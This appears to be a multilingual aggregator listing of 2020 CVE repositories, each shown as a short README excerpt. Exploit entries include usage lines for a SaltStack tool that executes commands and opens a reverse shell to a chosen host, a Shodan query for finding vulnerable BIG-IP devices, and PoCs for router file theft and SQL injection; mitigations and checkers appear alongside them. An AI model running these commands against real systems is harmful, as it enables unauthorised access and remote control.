SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read...

DisableSMBCompression

DisableSMBCompression CVE-2020-0796 脆弱性の緩和策 - Active Directory 管理用テンプレート 新しい SMB3 の脆弱性について私たちが知っている限りでは、SMB3 サーバー向けに以下の緩和策が提供されています。 root@kitploit: Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force...

CVE-2020-2655-DemoServer

CVE-2020-2655-DemoServer...

CVE-2020-9484

CVE-2020-9484 Apache Tomcat RCE CVE-2020-9484 영향을 받는 버전: Apache Tomcat 10.x 10.0.0-M5 Apache Tomcat 9.x 9.0.35 Apache Tomcat 8.x 8.5.55 Apache Tomcat 7.x 7.0.104...

linux-4.19.72_CVE-2020-15436

Linux カーネル カーネル開発者とユーザー向けのガイドがいくつかあります。これらのガイドは、HTML や PDF など、さまざまな形式で表示できます。最初に Documentation/admin-guide/README.rst をお読みください。 ドキュメントをビルドするには、make htmldocs または make pdfdocs を使用します。整形されたドキュメントは、オンラインでも読むことができます： root@kitploit: https://www.kernel.org/doc/html/latest/ Documentation/...

linux-4.19.72_CVE-2020-27786

Linux カーネル カーネル開発者とユーザ向けのガイドがいくつかあります。これらのガイドは、 HTML や PDF など様々な形式でレンダリングできます。最初に Documentation/admin-guide/README.rst をお読みください。 ドキュメントをビルドするには、make htmldocs または make pdfdocs を使用します。フォーマットされたドキュメントは、以下のオンラインでも読むことができます: root@kitploit: https://www.kernel.org/doc/html/latest/ Documentation/...

CVE-2020-0796

CVE-2020-0796 https://hackmd.io/@AWXkSundSBCbyTFFTFC98Q/r1fAaeaH3...

Tenda-F3-V4

Tenda F3 ルーター エクスプロイト & ファイルダウンローダー このプロジェクトは、認証不要の脆弱性（CVE-2020-35391）を利用して Tenda F3 ルーター（v3/v4）から各種ファイルをダウンロードするためのツールです。脆弱性のあるルーターから設定ファイル、システムログ、フラッシュダンプを取得できます。 概要 このスクリプトは Tenda F3 ルーターで見つかった脆弱性を悪用し、攻撃者が認証なしで機密ファイルをダウンロードできるようにします。具体的には、以下のファイルをダウンロードできます（パスワード変更機能の追加にも取り組んでいます）： 設定ファイル...

CVE-2020-0022

CVE-2020-0022 Insinuator の素晴らしいブログ記事とコードに心から感謝します! 結果 insinuator の投稿に記載されているすべての手順を完了し、さらに追加の作業も行いました。これらの手順は README.md ファイルに記載するには数が多すぎるため、前述の Insinuator の投稿を参照してください。 エクスプロイトは以下の時点まで完全に完成しています: 1. 攻撃者が制御する十分に大きなメモリ領域のアドレスがリークされる 2. プログラムカウンタがカスタムアドレスを指すように変更される 3. 失敗の確率が大幅に低下するまで、自動的にリトライが行われる ...

CVE-2020-5902

このリポジトリには README がありません。...

CVE-2020-9483

CVE-2020-9483 SQLインジェクション脆弱性のPoCCVE-2020-9483,Apache SkyWalking 使用方法:python3 CVE-2020-9483.py -ip 127.0.0.1 このスクリプトを使用して、SQLインジェクションによりデータベースのバージョンを取得できます。 このスクリプトが気に入ったらスターをクリックしてください。 このPoCが役に立ったと感じたら、スターを付けていただけると幸いです。 結果： XD...

Exploitation-CVE-2020-8835

このリポジトリには README がありません。...

zerologon-cve-2020-1472-notes

このリポジトリには README がありません。...

salt-vulnerabilities

Salt Stack Profile このプロファイルは、お使いの Salt インストールが CVE-2020-11651 および CVE-2020-11652 から保護されるパッチレベルであることを確認します。 具体的には、パッケージ salt-api、salt-cloud、salt-master、salt-minion、salt-ssh、salt-syndic、salt がバージョン 3000.2 以降、または 2019.2.4 以降であるか、存在しないことを確認します。 また、コマンドラインに "salt" コマンドが存在するかどうかを確認し、存在する場合は、salt...

CVE-2020-17453

バッジ ライセンス MIT インストール npm で CVE-2020-17453 をインストール root@kitploit: npm install cve-2020-17453 -g 使い方 単一URLの例 root@kitploit: CVE-2020-17453 -u http://example.com 使い方 URLリストの例 root@kitploit: CVE-2020-17453 -l urls.txt -o out.txt...

CVE-2020-5902

CVE-2020-5902 Shodan root@kitploit: http.favicon.hash:-335242539 "3992"...

Weblogic-CVE-2020-2551-To-Internet

Weblogic-CVE-2020-2551-To-Internet CVE-2020-2551 POC to use on the Internet 测试POC（可用于外网测试） python CVE-2020-2551.py HOST IP 尝试修改codebase进行远程类加载（失败） python CVE-2020-TEST.py HOST IP 浅谈 weblogic CVE-2020-2551 漏洞 & 外网POC构造 （首发于安全客，原文链接） 0x00 基础概念 学习这个漏洞需要一些前置知识，比如CORBA与RMI 简单的概述一下：...

CVE-2020-9548

CVE-2020-9548：FasterXML/jackson-databind リモートコード実行脆弱性...

fix-CVE-2020-15228

CVE-2020-15228 の修正 GitHub Actions の set-env, add-path このスクリプトは、GitHub Actions のファイル内の行を変更します。 ディレクトリ名を指定すると、".sh" または ".yml" 拡張子を持つすべてのファイルを検索します。 以下の行を認識します： root@kitploit: echo ::set-env name=FOOBAR::$FOOBAR echo ::set-env name=FOOBAR::$FOOBAR echo "::set-env name=FOOBAR::$FOOBAR" echo "::set-e...

checker-CVE-2020-5902

Checker CVE-2020-5902 Checker CVE-2020-5902: BIG-IP 버전 15.0.0부터 15.1.0.3, 14.1.0부터 14.1.2.5, 13.1.0부터 13.1.3.3, 12.1.0부터 12.1.5.1, 그리고 11.6.1부터 11.6.5.1까지는 Traffic Management User Interface TMUI 임의 파일 읽기 및 명령 실행 취약점이 있습니다. root@kitploit: + 저자: MrCl0wn + 블로그: http://blog.mrcl0wn.com + GitHub:...